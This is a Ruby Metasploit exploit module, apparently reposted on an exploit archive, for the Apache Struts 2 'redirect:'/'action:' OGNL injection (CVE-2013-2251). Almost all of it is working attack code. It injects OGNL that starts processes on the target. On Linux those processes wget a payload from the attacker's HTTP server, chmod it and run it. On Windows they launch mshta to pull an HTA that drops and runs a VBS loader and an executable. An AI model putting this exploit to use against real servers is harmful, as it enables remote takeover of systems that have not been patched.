Apache Struts 2 DefaultActionMapper Prefixes OGNL Code Execution Exploit

:
29.07.2013
:
Apache Struts 2
:

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts 2 DefaultActionMapper Prefixes OGNL Code Execution',
'Description' => %q{
The Struts 2 DefaultActionMapper supports a method for short-circuit navigation
state changes by prefixing parameters with "action:" or "redirect:", followed by
a desired navigational target expression. This mechanism was intended to help with
attaching navigational information to buttons within forms.

In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or
"redirectAction:" is not properly sanitized. Since said information will be
evaluated as OGNL expression against the value stack, this introduces the
possibility to inject server side code.

This module has been tested successfully on Struts 2.3.15 over Tomcat 7, with
Windows 2003 SP2 and Ubuntu 10.04 operating systems.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Takeshi Terada', # Vulnerability discovery
'sinn3r', # Metasploit module
'juan vazquez' # Metasploit modules
],
'References' =>
[
[ 'CVE', '2013-2251' ],
[ 'OSVDB', '95405' ],
[ 'BID', '61189' ],
[ 'URL', 'http://struts.apache.org/release/2.3.x/docs/s2-016.html' ]
],
'Platform' => [ 'win', 'linux'],
'Targets' =>
[
['Automatic', {}],
['Windows',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
['Linux',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
]
],
'DefaultOptions' =>
{
'WfsDelay' => 10
},
'Stance' => Msf::Exploit::Stance::Aggressive,
'DisclosureDate' => 'Jul 2 2013',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, 'Action URI', '/struts2-blank/example/HelloWorld.action']),
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 60]),
# It isn't OptPath becuase it's a *remote* path
OptString.new("WritableDir", [ true, "A directory where we can write files (only on Linux targets)", "/tmp" ])
], self.class)
end

def on_new_session(session)
if session.type == "meterpreter"
session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
end

@dropped_files.delete_if do |file|
false unless file =~ /\.exe/
win_file = file.gsub("/", "\\\\")
if session.type == "meterpreter"
begin
wintemp = session.fs.file.expand_path("%TEMP%")
win_file = "#{wintemp}\\#{win_file}"
session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
session.fs.file.rm(win_file)
print_good("Deleted #{file}")
true
rescue ::Rex::Post::Meterpreter::RequestError
print_error("Failed to delete #{win_file}")
false
end
end
end

super
end

def start_http_service
#do not use SSL
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end

if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
srv_host = Rex::Socket.source_address(rhost)
else
srv_host = datastore['SRVHOST']
end

service_url = srv_host + ':' + datastore['SRVPORT'].to_s
print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
start_service({
'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => '/'
}
})

datastore['SSL'] = true if ssl_restore

return service_url
end

def check
uri = normalize_uri(target_uri.path)
res = send_request_cgi({
'uri' => uri,
'method' => 'GET'
})

if res.nil? or res.code != 200
print_error("#{rhost}:#{rport} - Check needs a valid action, returning 200, as TARGETURI")
return Exploit::CheckCode::Unknown
end

proof = rand_text_alpha(6 + rand(4))

res = send_request_cgi({
'uri' => "#{uri}?redirect:%25{new%20java.lang.String('#{proof}')}",
'method' => 'GET'
})

if res and res.code == 302 and res.headers['Location'] =~ /#{proof}/
return Exploit::CheckCode::Vulnerable
end

return Exploit::CheckCode::Unknown
end

def auto_target
uri = normalize_uri(target_uri.path)
res = send_request_cgi({
'uri' => uri,
'method' => 'GET'
})

if res.nil? or res.code != 200
fail_with(Exploit::Failure::NoTarget, "#{rhost}:#{rport} - In order to autodetect, a valid action, returning 200, must be provided as TARGETURI, returning 200")
end

proof = rand_text_alpha(6 + rand(4))

res = send_request_cgi({
'uri' => "#{uri}?redirect:%25{new%20java.io.File('.').getCanonicalPath().concat('#{proof}')}",
'method' => 'GET'
})

if res and res.code == 302 and res.headers['Location'] =~ /#{proof}/
if res.headers['Location'] =~ /:\\/
return targets[1] # Windows
else
return targets[2] # Linux
end
end

fail_with(Exploit::Failure::NoTarget, "#{rhost}:#{rport} - Target auto-detection didn't work")

end

def exploit_linux

downfile = rand_text_alpha(8+rand(8))
@pl = @exe
@pl_sent = false

#
# start HTTP service if necessary
#
service_url = start_http_service

#
# download payload
#
fname = datastore['WritableDir']
fname = "#{fname}/" unless fname =~ %r'/$'
fname << downfile
uri = normalize_uri(target_uri.path)
uri << "?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'wget','#{service_url}','-O',new%20java.lang.String('#{fname.gsub(/\//,"$")}').replace('$','\\u002f')})).start()}"

print_status("#{rhost}:#{rport} - Downloading payload to #{fname}...")

res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})

if res.nil? or res.code != 302
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")
end

#
# wait for payload download
#
wait_payload

register_file_for_cleanup(fname)

#
# chmod
#
uri = normalize_uri(target_uri.path)
uri << "?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'chmod','777',new%20java.lang.String('#{fname.gsub(/\//,"$")}').replace('$','\\u002f')})).start()}"

print_status("#{rhost}:#{rport} - Make payload executable...")

res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})

if res.nil? or res.code != 302
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")
end

#
# execute
#
uri = normalize_uri(target_uri.path)
uri << "?redirect:%25{(new%20java.lang.ProcessBuilder(new%20java.lang.String('#{fname.gsub(/\//,"$")}').replace('$','\\u002f'))).start()}"

print_status("#{rhost}:#{rport} - Execute payload...")

res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})

if res.nil? or res.code != 302
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")
end

end

def exploit_windows
@var_exename = rand_text_alpha(4 + rand(4)) + '.exe'
@pl = build_hta
@pl_sent = false

#
# start HTTP service if necessary
#
service_url = start_http_service

#
# execute hta
#
uri = normalize_uri(target_uri.path)
uri << "?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'mshta',new%20java.lang.String('http:nn#{service_url}').replace('n','\\u002f')})).start()}"

print_status("#{rhost}:#{rport} - Execute payload through malicious HTA...")

res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})

if res.nil? or res.code != 302
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")
end

#
# wait for payload download
#
wait_payload

register_file_for_cleanup(@var_exename)
end

def exploit
if target.name =~ /Automatic/
print_status("#{rhost}:#{rport} - Target autodetection...")
my_target = auto_target
print_good("#{rhost}:#{rport} - #{my_target.name} target found!")
else
my_target = target
end

p = exploit_regenerate_payload(my_target.platform, my_target.arch)
@exe = generate_payload_exe({:code => p.encoded, :platform => my_target.platform, :arch => my_target.arch})

if my_target.name =~ /Linux/
if datastore['PAYLOAD'] =~ /windows/
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - The target is Linux, but you've selected a Windows payload!")
end
exploit_linux
elsif my_target.name =~ /Windows/
if datastore['PAYLOAD'] =~ /linux/
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - The target is Windows, but you've selected a Linux payload!")
end
exploit_windows
end
end

# Handle incoming requests from the server
def on_request_uri(cli, request)
vprint_status("#{rhost}:#{rport} - URI requested: #{request.inspect}")
if (not @pl)
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
return
end
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
@pl_sent = true
send_response(cli, @pl)
end

# wait for the data to be sent
def wait_payload
print_status("#{rhost}:#{rport} - Waiting for the victim to request the payload...")

waited = 0
while (not @pl_sent)
select(nil, nil, nil, 1)
waited += 1
if (waited > datastore['HTTP_DELAY'])
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
end
end
end

def build_hta
var_shellobj = rand_text_alpha(rand(5)+5);
var_fsobj = rand_text_alpha(rand(5)+5);
var_fsobj_file = rand_text_alpha(rand(5)+5);
var_vbsname = rand_text_alpha(rand(5)+5);
var_writedir = rand_text_alpha(rand(5)+5);

var_origLoc = rand_text_alpha(rand(5)+5);
var_byteArray = rand_text_alpha(rand(5)+5);
var_writestream = rand_text_alpha(rand(5)+5);
var_strmConv = rand_text_alpha(rand(5)+5);

# Doing in this way to bypass the ADODB.Stream restrictions on JS,
# even when executing it as an "HTA" application
# The encoding code has been stolen from ie_unsafe_scripting.rb
print_status("#{rhost}:#{rport} - Encoding payload into vbs/javascript/hta...");

# Build the content that will end up in the .vbs file
vbs_content = Rex::Text.to_hex(%Q|
Dim #{var_origLoc}, s, #{var_byteArray}
#{var_origLoc} = SetLocale(1033)
|)
# Drop the exe payload into an ansi string (ansi ensured via SetLocale above)
# for conversion with ADODB.Stream
vbs_ary = []
# The output of this loop needs to be as small as possible since it
# gets repeated for every byte of the executable, ballooning it by a
# factor of about 80k (the current size of the exe template). In its
# current form, it's down to about 4MB on the wire
@exe.each_byte do |b|
vbs_ary << Rex::Text.to_hex("s=s&Chr(#{("%d" % b)})\n")
end
vbs_content << vbs_ary.join("")

# Continue with the rest of the vbs file;
# Use ADODB.Stream to convert from an ansi string to it's byteArray equivalent
# Then use ADODB.Stream again to write the binary to file.
#print_status("Finishing vbs...");
vbs_content << Rex::Text.to_hex(%Q|
Dim #{var_strmConv}, #{var_writedir}, #{var_writestream}
#{var_writedir} = WScript.CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%") & "\\#{@var_exename}"

Set #{var_strmConv} = CreateObject("ADODB.Stream")

#{var_strmConv}.Type = 2
#{var_strmConv}.Charset = "x-ansi"
#{var_strmConv}.Open
#{var_strmConv}.WriteText s, 0
#{var_strmConv}.Position = 0
#{var_strmConv}.Type = 1
#{var_strmConv}.SaveToFile #{var_writedir}, 2

SetLocale(#{var_origLoc})|)

hta = <<-EOS
<script>
var #{var_shellobj} = new ActiveXObject("WScript.Shell");
var #{var_fsobj} = new ActiveXObject("Scripting.FileSystemObject");
var #{var_writedir} = #{var_shellobj}.ExpandEnvironmentStrings("%TEMP%");
var #{var_fsobj_file} = #{var_fsobj}.OpenTextFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs",2,true);

#{var_fsobj_file}.Write(unescape("#{vbs_content}"));
#{var_fsobj_file}.Close();

#{var_shellobj}.run("wscript.exe " + #{var_writedir} + "\\\\" + "#{var_vbsname}.vbs", 1, true);
#{var_shellobj}.run(#{var_writedir} + "\\\\" + "#{@var_exename}", 0, false);
#{var_fsobj}.DeleteFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs");
window.close();
</script>
EOS

return hta
end


end

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